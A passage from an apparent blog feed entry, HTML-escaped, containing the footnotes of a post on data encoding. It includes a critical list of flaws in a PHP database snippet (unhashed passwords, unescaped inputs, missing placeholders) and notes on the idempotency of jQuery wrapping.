means for a bit. &lt;a href=&quot;#fnref-whose-encoding-is-it-anyway&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;6&quot; aria-label=&quot;Back to reference 6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-php-issue-register&quot;&gt;
&lt;ol&gt;
&lt;li&gt;may need to check &lt;a href=&quot;http://php.net/get_magic_quotes_gpc&quot;&gt;&lt;code&gt;get_magic_quotes_gpc()&lt;/code&gt;&lt;/a&gt; to know if data is encoded.&lt;/li&gt;
&lt;li&gt;password stored unhashed.&lt;/li&gt;
&lt;li&gt;we don’t specify a connection object.&lt;/li&gt;
&lt;li&gt;we’re using an antique MySQL library.&lt;/li&gt;
&lt;li&gt;inputs are unescaped (maybe—see point 1).&lt;/li&gt;
&lt;li&gt;escape inputs when you could use placeholders? Doing so successfully means ensuring data is &lt;em&gt;not&lt;/em&gt; escaped by now; see point 1.&lt;/li&gt;
&lt;li&gt;specifying columns; inserted columns &lt;em&gt;may&lt;/em&gt; cause failure, or just data going in the wrong places.&lt;/li&gt;
&lt;li&gt;use placeholders when you can use an ORM?&lt;/li&gt;
&lt;li&gt;checking return value; because who cares about data integrity?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This list itself is an example of poorly encoded data.  Note how it’s
inconsistent as to whether the items mentioned are the issues, or the fixes. &lt;a href=&quot;#fnref-php-issue-register&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;7&quot; aria-label=&quot;Back to reference 7&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-encodeception&quot;&gt;
&lt;p&gt;Of course, note that these characters are of course embedded in &lt;em&gt;this&lt;/em&gt; document with UTF-8. &lt;a href=&quot;#fnref-encodeception&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;8&quot; aria-label=&quot;Back to reference 8&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-jquery-idempotency&quot;&gt;
&lt;p&gt;jQuery is special in that it’s never a mistake to rewrap in jQuery; the
jQuery wrapper function is idempotent.  This is because you can
unambiguously distinguish between an wrapped object and a not-wrapped
object; note that the same does not hold of arbitrary strings without
metadata attached to the string describing what encoding it should be.
Ruby’s strings, for instance, have no issues, as they carry knowledge of
their encoding.&lt;/p&gt;
&lt;p&gt;A common practice is to prefix a variable name with a &lt;code&gt;$&lt;/code&gt; if it’s known to
be wrapped in jQuery—because you’ve guaranteed it at the point of naming
the variable, typically.  This is a way of making the assertion about the
encoding obvious. Because you can’t accidentally overwrap an object in
JavaScript, usually an absence of &lt;code&gt;$&lt;/code&gt; prefix implies no guarantee—it may
be wrapped or unwrapped, and the only way to guarantee e.g. a DOM object,
is by wrapping and then using &lt;code&gt;get&lt;/code&gt;.  The point is that you can never
mistakenly assume something to be jQuery wrapped when it isn’t; you’ll
always know. &lt;a href=&quot;#fnref-jquery-idempotency&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;9&quot; aria-label=&quot;Back to reference 9&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-array-what-array&quot;&gt;
&lt;p&gt;Hint: there is none.  I know where you can get a hash-table-y kinda thing,
though. &lt;a href=&quot;#fnref-array-what-array&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;10&quot; aria-label=&quot;Back to reference 10&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

</feed>
